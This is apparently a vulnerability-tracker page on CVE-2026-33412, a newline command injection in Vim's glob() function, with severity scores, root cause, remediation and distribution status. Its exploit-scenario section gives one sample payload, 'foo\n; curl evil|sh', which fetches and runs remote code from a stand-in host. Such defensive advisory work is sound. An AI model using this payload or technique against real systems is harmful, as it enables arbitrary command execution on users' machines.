Skip to main content

Vim EUVDEUVD-2026-14998

| CVE-2026-33412 HIGH
OS Command Injection (CWE-78)
2026-03-24 GitHub_M
Command Injection Vim
7.3
CVSS 3.1 · NVD
Temporal: 5.6
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft glob pattern with embedded newline
  2. Delivery
    Deliver via malicious file/plugin/script
  3. Exploit
    Victim's Vim calls glob() on pattern
  4. Execution
    Shell parses injected command after newline
  5. Impact
    Arbitrary commands run as the user

Vulnerability Assessment

Weakness
CWE
CWE-78
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires Vim's glob() (wildcard/path expansion) on a Unix-like system to be invoked on a pattern the attacker can influence that contains a newline character, and the injected text after the newline must be valid for and executed by whatever shell is set in Vim's 'shell' option, so the outcome is contingent on that shell setting. Delivery requires getting the malicious pattern in front of the victim (a crafted file, plugin, or Vimscript that calls glob()), and the CVSS vector marks user interaction as required (UI:R). Limiting factors: the bug is Unix-only, needs local processing rather than a network request (AV:L), depends on the user's configured shell, requires the application to actually call glob() on attacker-controlled data, and is fully fixed in 9.2.0202.
Impact

All signals align on a real but low-urgency issue. The CVSS 3.1 base score of 7.3 (AV:L/AC:L/PR:L/UI:R) reflects high C/I/A impact gated by a local vector and required user interaction, not remote mass exploitation. EPSS is 0.05% (15th percentile), and CISA's SSVC records Exploitation: none and Automatable: no while rating Technical Impact: total - severe IF triggered, but not easily or automatically triggered at scale. There is no KEV listing and no POC referenced in the supplied data, so there is no public exploit identified at time of analysis. One caveat to verify: the vector uses PR:L, but practical exploitation depends on the victim processing an attacker-supplied pattern rather than the attacker holding a local low-privilege account, so PR:L may overstate the required foothold - defenders should treat the real gate as user interaction plus delivery of a malicious pattern. Net: patch on a normal cadence; not a drop-everything emergency.
Exploit ScenarioDerived

An attacker crafts a glob pattern that embeds a newline followed by a shell command (e.g., 'foo\n; curl evil|sh') and gets it processed by a victim's Vim - through a malicious plugin, a project-shipped Vimscript, or a workflow that calls glob() on filenames or input the attacker controls. When Vim expands the pattern via the user's shell, the injected command runs with the victim's privileges. No public POC is referenced in the available data, and the local vector plus required user interaction (CVSS AV:L/UI:R) make this an opportunistic, targeted vector rather than a wormable remote exploit.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv5 – Jun 30, 2026

Arbitrary shell command execution in Vim before 9.2.0202 occurs when its glob() function expands a pattern containing a newline (\n) on Unix-like systems, causing text after the newline to be passed to and executed by the user's configured 'shell'. Any workflow that feeds attacker-influenced patterns to glob() - scripts, plugins, or processing of untrusted files - can be abused to run commands with the victim's privileges. EPSS is very low (0.05%, 15th percentile) and CISA SSVC reports no observed exploitation, so this is currently no public exploit identified at time of analysis despite a 'total' technical-impact rating.

Earlier versions of this analysis (4)
v4 Jun 30, 2026 - 04:48 cvss changed CVSS 7.3

Arbitrary shell command execution in Vim before 9.2.0202 on Unix-like systems arises because the glob() function passes patterns containing an embedded newline (\n) to the underlying shell, allowing attacker-controlled patterns to break out into command execution. Any user who runs Vim (or a plugin/script) that calls glob() on attacker-supplied input - for example via a malicious file, directory listing, or untrusted plugin data - can be tricked into executing commands, with the outcome dependent on the victim's 'shell' setting. There is no public exploit identified at time of analysis, EPSS risk is very low (0.05%), and SSVC records no observed exploitation, but technical impact is rated total.

v3 Jun 30, 2026 - 04:47 cvss changed CVSS 7.3

Command injection in Vim's glob() function on Unix-like systems prior to 9.2.0202 lets an attacker embed a newline character in a glob pattern to inject and execute arbitrary shell commands through the user's configured 'shell'. Exploitation requires the victim to process attacker-controlled content (e.g. open a malicious file, plugin, or modeline that calls glob()), and impact depends on the 'shell' setting. EPSS is very low (0.05%, 15th percentile) and there is no public exploit identified at time of analysis, with SSVC exploitation status 'none'.

v2 Jun 30, 2026 - 04:47 cvss changed CVSS 7.3

Arbitrary shell command execution in Vim before 9.2.0202 on Unix-like systems allows an attacker to abuse the glob() function: a pattern containing a newline character (\n) is not treated as a shell-special character, so embedded commands are passed to the user's configured shell. Exploitation requires the victim to process an attacker-supplied pattern (UI:R) and depends on the user's 'shell' setting, so impact varies by environment. There is no public exploit identified at time of analysis, EPSS is very low (0.05%, 15th percentile), and CISA SSVC rates exploitation as 'none', though the patched commit publicly documents the exact root cause.

v1 Mar 24, 2026 - 20:00 CVSS 5.6

Vim versions prior to 9.2.0202 contain a command injection vulnerability in the glob() function on Unix-like systems that allows local attackers with limited privileges to execute arbitrary shell commands by embedding newline characters in glob patterns. The vulnerability's impact depends on the user's shell configuration setting, and while it requires local access and user interaction, it can result in unauthorized code execution with the privileges of the Vim process.

RemediationAI

Vendor-released patch: 9.2.0202 - upgrade Vim to 9.2.0202 or later (release https://github.com/vim/vim/releases/tag/v9.2.0202, fixing commit 645ed6597d1ea896c712cd7ddbb6edee79577e9a). On managed Linux systems apply the corresponding distribution updates rather than building from source: Ubuntu USN-8171-1 (https://ubuntu.com/security/notices/USN-8171-1), Debian's vim packages (bug#1131450), and the relevant Red Hat erratum such as RHSA-2026:7711 (https://access.redhat.com/errata/RHSA-2026:7711). Until patched, avoid passing untrusted or externally-derived strings to glob()/wildcard expansion in Vimscript, treat untrusted files, plugins, and modelines with caution, and as a configuration-level mitigation consider pointing the 'shell' option at a shell less prone to command chaining or disabling plugins that perform glob expansion on attacker-controlled input - note these workarounds reduce convenience and may break plugins or scripts that rely on shell-based expansion, so the version upgrade is strongly preferred.

Affected VersionsENISA

vim < 9.2.0202

Affected Packages

euvd vim fix: 9.2.0202

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Vim is a ubiquitous open-source modal text editor; the flaw is a CWE-78 OS command injection. On Unix-like platforms Vim's wildcard expansion (mch_expandpath in src/os_unix.c) builds a shell command line to resolve glob patterns and escapes a fixed set of shell-special characters via the SHELL_SPECIAL macro. The vendor commit 645ed65 pinpoints the bug: the original SHELL_SPECIAL list (\t \"&'$;<>()\\|) omitted the newline character, so a '\n' inside a pattern reached the shell invocation unescaped, letting the shell treat the following text as a separate command. Because expansion is delegated to the user's 'shell' option, exploitability depends on which shell is configured. The fix simply adds '\n' to SHELL_SPECIAL. The affected CPE is cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* for all versions prior to 9.2.0202.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.3 HIGH
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CIRCL (temporal) 5.6 MEDIUM
vuln.today AI 7.8 HIGH

Local because expansion runs on the victim host (AV:L), no attacker account needed (PR:N), but the victim must process the malicious pattern (UI:R), yielding full command execution as the user (C/I/A:H).

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Ubuntu MEDIUM
SUSE 5.6 MEDIUM
AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N
Red Hat 7.3 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

8
Analysis Updated
Jun 30, 2026 - 04:49 vuln.today
v5 - CVSS changed
Analysis Updated
Jun 30, 2026 - 04:48 vuln.today
v4 - CVSS changed
Analysis Updated
Jun 30, 2026 - 04:47 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 30, 2026 - 04:47 vuln.today
v2 - CVSS changed
Severity Changed
Jun 30, 2026 - 03:24 NVD
MEDIUM HIGH
CVSS changed
Jun 30, 2026 - 03:24 NVD
5.6 (MEDIUM) 7.3 (HIGH)
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 24, 2026 - 19:43 nvd
MEDIUM 5.6

DescriptionNVD

Vim is an open source, command line text editor. Prior to version 9.2.0202, a command injection vulnerability exists in Vim's glob() function on Unix-like systems. By including a newline character (\n) in a pattern passed to glob(), an attacker may be able to execute arbitrary shell commands. This vulnerability depends on the user's 'shell' setting. This issue has been patched in version 9.2.0202.

Executive ViewAI

Why It Matters

Vim versions before 9.2.0202 contain an arbitrary command execution vulnerability in the glob() function when processing patterns containing newlines. Organizations using Vim for scripting, plugins, or processing untrusted file patterns face risk of privilege-level command execution if attackers can influence glob() inputs; however, exploitation likelihood remains very low (EPSS 0.05%, no observed attacks) suggesting this poses minimal immediate risk despite high technical severity.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 85% exploitable
Prevalence
Ubiquitous
Vim ships by default on virtually all Linux/Unix systems
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln
CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th
CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita
CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu
CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se
CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability
CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2020-9054 CRITICAL POC
9.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2016-3081 HIGH POC
8.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8

Vendor StatusVendor

Ubuntu

Priority: Medium
vim
Release Status Version
trusty needs-triage -
xenial needs-triage -
bionic needs-triage -
focal needs-triage -
jammy needs-triage -
noble needs-triage -
questing needs-triage -
upstream needs-triage -

Debian

Bug #1131450
vim
Release Status Fixed Version Urgency
bullseye vulnerable 2:8.2.2434-3+deb11u1 -
bullseye (security) vulnerable 2:8.2.2434-3+deb11u3 -
bookworm vulnerable 2:9.0.1378-2+deb12u2 -
trixie vulnerable 2:9.1.1230-2 -
forky vulnerable 2:9.1.2141-1 -
sid fixed 2:9.2.0218-1 -
(unstable) fixed 2:9.2.0218-1 -

SUSE

Severity: Medium
Product Status
Container suse/sl-micro/6.0/baremetal-os-container:2.1.3-6.162 Affected
Container suse/sl-micro/6.0/toolbox:13.2-9.95 Affected
Container suse/sl-micro/6.1/baremetal-os-container:2.2.1-7.91 Affected
Container suse/sle-micro-rancher/5.2:latest Affected
Container suse/sle-micro/5.2/toolbox:14.2-7.11.272 Affected

References

Advisories & patches
ADVISORY https://access.redhat.com/errata/RHSA-2026:6502 ADVISORY https://access.redhat.com/errata/RHSA-2026:6539 ADVISORY https://access.redhat.com/errata/RHSA-2026:6540 ADVISORY https://access.redhat.com/errata/RHSA-2026:6617 ADVISORY https://access.redhat.com/errata/RHSA-2026:6619 ADVISORY https://access.redhat.com/errata/RHSA-2026:6620 ADVISORY https://access.redhat.com/errata/RHSA-2026:6725 ADVISORY https://access.redhat.com/errata/RHSA-2026:6729 ADVISORY https://access.redhat.com/errata/RHSA-2026:6730 ADVISORY https://access.redhat.com/errata/RHSA-2026:6731 ADVISORY https://access.redhat.com/errata/RHSA-2026:6736 ADVISORY https://access.redhat.com/errata/RHSA-2026:6915 ADVISORY https://access.redhat.com/errata/RHSA-2026:7239 ADVISORY https://access.redhat.com/errata/RHSA-2026:7243 ADVISORY https://access.redhat.com/errata/RHSA-2026:7335 ADVISORY https://access.redhat.com/errata/RHSA-2026:7711 ADVISORY https://access.redhat.com/errata/RHSA-2026:8259 ADVISORY https://ubuntu.com/security/notices/USN-8171-1 ADVISORY https://vuldb.com/vuln/352005 ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:1347/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:1387/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:21118/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:21124/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:21130/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:21132/ REF http://www.openwall.com/lists/oss-security/2026/03/19/10 REF https://access.redhat.com/errata/RHSA-2026:10065 REF https://access.redhat.com/errata/RHSA-2026:10097 REF https://access.redhat.com/errata/RHSA-2026:11768 REF https://access.redhat.com/errata/RHSA-2026:12274 REF https://access.redhat.com/errata/RHSA-2026:14773 REF https://access.redhat.com/errata/RHSA-2026:15087 REF https://access.redhat.com/errata/RHSA-2026:16008 REF https://access.redhat.com/errata/RHSA-2026:16009 REF https://access.redhat.com/errata/RHSA-2026:16174 REF https://access.redhat.com/errata/RHSA-2026:17596 REF https://access.redhat.com/errata/RHSA-2026:25096 REF https://access.redhat.com/errata/RHSA-2026:8423 REF https://access.redhat.com/errata/RHSA-2026:9832 REF https://access.redhat.com/security/cve/CVE-2026-33412 REF https://bugzilla.redhat.com/show_bug.cgi?id=2450907 REF https://github.com/vim/vim/commit/645ed6597d1ea896c712cd7ddbb6edee79577e9a REF https://github.com/vim/vim/releases/tag/v9.2.0202 REF https://github.com/vim/vim/security/advisories/GHSA-w5jw-f54h-x46c REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33412.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy